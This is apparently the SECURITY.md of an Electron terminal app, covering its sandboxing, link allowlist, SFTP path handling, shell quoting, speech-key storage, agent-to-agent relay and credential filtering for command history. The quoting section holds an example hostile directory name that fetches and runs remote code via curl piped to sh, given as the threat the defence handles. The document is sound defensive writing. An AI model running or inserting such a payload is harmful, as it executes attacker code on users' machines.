Skip to content

Security: HappyMonkeyAI/ZeroGTerm

Security

SECURITY.md

Security Policy

Supported versions

ZeroG Terminal is currently an alpha project. Security fixes are applied to the main branch and to the latest published release, when releases exist.

Reporting a vulnerability

Please do not open a public issue for an exploitable vulnerability.

Use GitHub's private vulnerability reporting or security advisory feature for the HappyMonkeyAI/ZeroGTerm repository. Include:

  • A clear description of the vulnerability and its impact.
  • A minimal reproduction or proof of concept that does not expose real credentials.
  • Affected versions or commits.
  • Any suggested mitigation.

If private vulnerability reporting is unavailable, contact the repository maintainers through their GitHub account before disclosing the issue publicly.

Please allow maintainers reasonable time to investigate and prepare a fix. Do not include API keys, passwords, private SSH material, or sensitive user data in reports.

Security boundaries

ZeroG Terminal is a local desktop application. Terminal output, SSH targets, generated commands, and workspace data should be treated as sensitive. The application is designed to:

  • Keep Node integration disabled in the renderer.
  • Keep context isolation and sandboxing enabled.
  • Expose only a narrow preload API.
  • Validate session names and SSH targets.
  • Use argument arrays instead of shell interpolation.
  • Require explicit approval before running AI-suggested commands, unless the operator turns that off in Settings.
  • Refuse OSC 52 clipboard read requests, so a program in a terminal — including one on a remote host over SSH — cannot exfiltrate the clipboard. Clipboard writes from a terminal are honoured.

Links in terminal output

A link clicked in a pane is opened in the user's own browser, never in a window of this application. Electron's default answer to window.open is a new BrowserWindow, which is both the wrong browser and a page rendered inside the app; the main process refuses that and hands the URL to the desktop instead.

Which URLs are handed over is an allowlist — http, https, and mailto:

  • A link arrives in terminal output, which is untrusted, and OSC 8 hyperlinks let a remote host display one thing while linking to another.
  • The operating system will do much more with a URL than open a web page. file: reaches the local disk, smb: reaches a network share and leaks credentials to it, and installed applications register their own schemes, some of which accept a path or a command. A single click must not be able to start local software.
  • The scheme is decided by parsing the URL rather than by matching its text, and the parsed form is what reaches the shell. A refused link reports itself in the status bar rather than failing silently.

Because the target of an OSC 8 link need not resemble its label, hovering a link shows the real destination in the status bar before it is clicked.

File transfer

The SFTP transfer panel widens the preload API to the local filesystem, which is the narrowest part of the application worth stating plainly:

  • The renderer can enumerate directories and can create, rename, or delete a path the user pointed at. It cannot read file contents: transfers are performed by the sftp client in the main process, and file data never passes through the renderer.
  • Paths crossing the IPC boundary are re-derived in the main process rather than trusted. A relative path or one containing NUL is refused, and the home directory itself cannot be deleted.
  • Deletion uses rmdir for directories, so a non-empty directory fails rather than being removed recursively.
  • Remote paths containing quotes, backslashes, or glob metacharacters are refused. The sftp client unescapes its arguments and then expands globs in them, and no encoding of those characters is correct for every command — so a name that cannot be passed unambiguously is not passed at all.
  • Authentication is delegated entirely to the system sftp client, which means ~/.ssh/config, the agent, and known_hosts verification all apply. ZeroG never answers a host-key prompt itself: the question, including the key fingerprint, is put to the user. Passwords and passphrases are written to the client and are not stored, logged, or returned to the renderer.

What a pane's directory browser connects to

Opening the browser in an SSH pane opens an SFTP connection to that pane's host if one is not already open — the browser is a second consumer of the transfer connections described above, and everything stated there applies unchanged: authentication is delegated to the system sftp client, so ~/.ssh/config, the agent and known_hosts verification all apply, and ZeroG never answers a host-key or password prompt itself.

Two consequences worth stating plainly:

  • The browser can start an outbound connection to a host the user has a terminal open to. It is never automatic: a browser opens because the folder button was clicked, and it is remembered per pane, so reopening a workspace whose pane had one open will reconnect to that host.
  • A pending question is shown in the browser and answered only in the transfer panel, which is the surface with the fingerprint next to it. The browser has no answer field, so there is no second place a passphrase can be typed.

Changing directory from the browser

Double-clicking a folder in a pane's directory browser makes ZeroG type a command into that pane. Everywhere else in this application a path is passed as an element of an argument vector, where quoting cannot matter; here the path becomes part of a shell line, and the directory names come from the far side of an SSH connection or from a filesystem someone else may be able to write to. A directory named $(curl evil.example.com | sh) is a plausible thing to find in a listing.

So the quoting is the whole defence, it lives in one place (src/renderer/pane-directory.ts), and it is exercised against a real sh in tests/pane-directory-shell.test.ts — a test that creates directories whose names contain commands and asserts that after cd'ing into every one of them, none of those commands ran.

  • POSIX shells: single quotes, with an embedded quote closed and reopened. No expansion of any kind survives single quotes.
  • PowerShell: Set-Location -LiteralPath with single quotes doubled. -LiteralPath rather than -Path because a directory named [1] is a wildcard to Set-Location, which would fail to find a directory that exists.
  • Command Prompt: cd /d with double quotes, and a name containing a double quote is refused — cmd has no escape for it that is correct in general.
  • A name containing a carriage return or newline is refused for every shell. It would submit the line early, which is a second command by definition.
  • Where the shell family cannot be determined, nothing is typed.

A WSL pane's path is translated across the \\wsl.localhost\ share boundary before it is quoted, and a path that does not belong to that pane's own distribution is refused rather than translated approximately.

Network egress from the renderer

The renderer's Content-Security-Policy limits connect-src to:

  • 'self', for the app's own assets.
  • Any http: or https: origin, for two things: downloading speech models from Hugging Face on first use, and the server speech engine, whose endpoint is operator-configurable and may legitimately be a machine on the LAN or a hosted service. Nothing narrower can express "the host the operator chose".

The speech server endpoint is therefore a place where recorded audio goes where the operator says, including off this machine. What is enforced is only the shape of the target: an http:// or https:// URL naming a host, so a file:// path or a half-typed address becomes an error rather than a request. Where the audio goes is the operator's decision, and the settings panel states plainly whether the configured address is on this machine or not.

style-src allows 'unsafe-inline', which analysers flag on sight. It is there for xterm.js: its DOM renderer creates two <style> elements at runtime — one for the theme, one for cell dimensions — and writes their text directly, which style-src blocks without it. xterm exposes no way to nonce those elements, so the alternatives are 'unsafe-hashes' over their exact contents or patching xterm. React's style props are unaffected (they go through the CSSOM, which CSP does not govern) and the bundled stylesheet is a linked file covered by 'self', so xterm is the only reason the allowance is still needed. Removing it would take a runtime policy from the main process rather than this static meta tag, which would also let connect-src narrow back to the configured endpoint.

Earlier releases refused a non-loopback endpoint outright. That was relaxed deliberately, on the grounds that a self-hosted server on the user's own network is a normal way to run a model too large for the machine at hand. The trade is that connect-src no longer constrains where the renderer can post, so an injection in the renderer would not be stopped by the policy; the controls that matter for that are the sandboxed renderer, context isolation, and the narrow preload API described above.

The speech server API key

A server that authenticates needs a key, and the renderer's own settings live in localStorage — a plain file. So the key is not kept there:

  • The main process stores it through Electron's safeStorage, which is DPAPI on Windows, Keychain on macOS, and libsecret or kwallet on Linux. The ciphertext goes in secrets.json under the app's data directory, written 0600 and replaced atomically.
  • When safeStorage reports that encryption is unavailable — a Linux box with no keyring configured — saving is refused rather than downgraded to plaintext. The panel says so and offers to hold the key in memory until the app closes, which is the user's decision to make with the facts in front of them.
  • A stored value that will not decrypt is treated as absent. That is what a file copied from another machine or another user account looks like, and there is nothing to do with it but ask for the key again.
  • The renderer never holds the key in its own state or storage. It asks for it when a transcription request is being built and uses it for that request, so clearing the key takes effect on the next utterance.
  • The key is sent as Authorization: Bearer. Over plain http to a host that is not this machine it travels in the clear; that is allowed, because a self-hosted server on the LAN commonly has no certificate and refusing would break the ordinary case, but the field says plainly when it applies.

These controls are not a guarantee of security. Please report bypasses or regressions privately.

Pane link

Pane link (docs/pane-link.md) is the one place ZeroG types one agent's output into another, so it is built as a bounded, visible, user-started loop:

  • ZeroG launches the agents itself with --settings, pointing four hook events at a listener bound to 127.0.0.1 on an ephemeral port. Each agent has its own random 192-bit token in the URL; the settings file holds that token, is written 0600, and is deleted when the pane closes or the app quits. Unknown tokens get a 404; bodies over 2 MiB are refused; the hook response is always {}, so ZeroG observes agents and never steers them.
  • Only the agent's own final message (last_assistant_message) is relayed. Terminal output is not read, so password, passphrase, OTP and host-key prompts are never forwarded.
  • Relayed text is untrusted input to the receiving agent. It is stripped of control characters, capped at 16,000 characters, and labelled as another agent's message. A reply is only ever typed into an idle partner; otherwise the link pauses.
  • A link ends on a relay limit (default 6, maximum 50), a stall timeout, either agent exiting, or the user breaking it.
  • Not covered: a prompt-injected agent can still say persuasive things to its partner. The limit and the pause-on-approval behaviour are the mitigations, not a guarantee.

The command history

The command history palette is the only part of ZeroG that stores what the user typed. Everything else deliberately does not: session-history.json records lifecycle events and states that it "never stores cwd, args, or credentials", and workspaces.json and port-forwards.json hold only metadata. A command history cannot make that promise, because the command text is the whole point — so the question is answered here instead.

  • Off until asked for. Recording is a setting, off by default. With it off, nothing about what is typed is written anywhere and command-history.json does not exist. The palette says so rather than appearing empty.
  • Only what a shell volunteers. Commands come from the standard OSC 133 prompt marks. A pane whose shell emits none records nothing at all; ZeroG does not reconstruct the input line from the screen, because a history that is sometimes wrong is worse than a smaller one that is not. This is the same bargain the working-directory tracking already makes for OSC 7.
  • What is kept. The command, the directory and host it ran in, its exit status, when it last ran, how many times, and how often it was chosen from the palette. Written to command-history.json in the app's data directory, 0600, replaced atomically, capped at 5000 entries. Clearing removes the file rather than leaving an empty one.
  • What is refused. A command matching a credential shape is dropped whole, never stored with the value masked: a masked entry still records that a particular secret was set in a particular directory at a particular time, and invites a false sense that what remains is safe. The rules cover assignments to anything named like a token, key, secret, password, passphrase or credential; --password/--token/--api-key-style flags and mysql -p<value>; credentials embedded in a URL; Authorization and X-Api-Key headers; curl -u user:pass; openssl -passin; vendor-shaped tokens for GitHub, GitLab, Slack, AWS, Google, npm and OpenAI-compatible keys, and JWTs; and long mixed-case high-entropy words.
  • The rules err towards refusing. SSH_AUTH_SOCK=/tmp/x is not a secret and is refused anyway, because it matches the shape. Losing a harmless entry is invisible; storing a token is not.
  • What it does not catch, and does not claim to. A secret passed as a bare argument to a program the rules do not know about, piped in from echo, or read from a file whose path is the only thing on the line, looks exactly like ordinary text. Anyone treating this as a guarantee that no credential can ever reach the file would be wrong. The mitigation is that the feature is off by default, the file is local and owner-only, and it can be cleared in one click.

There aren't any published security advisories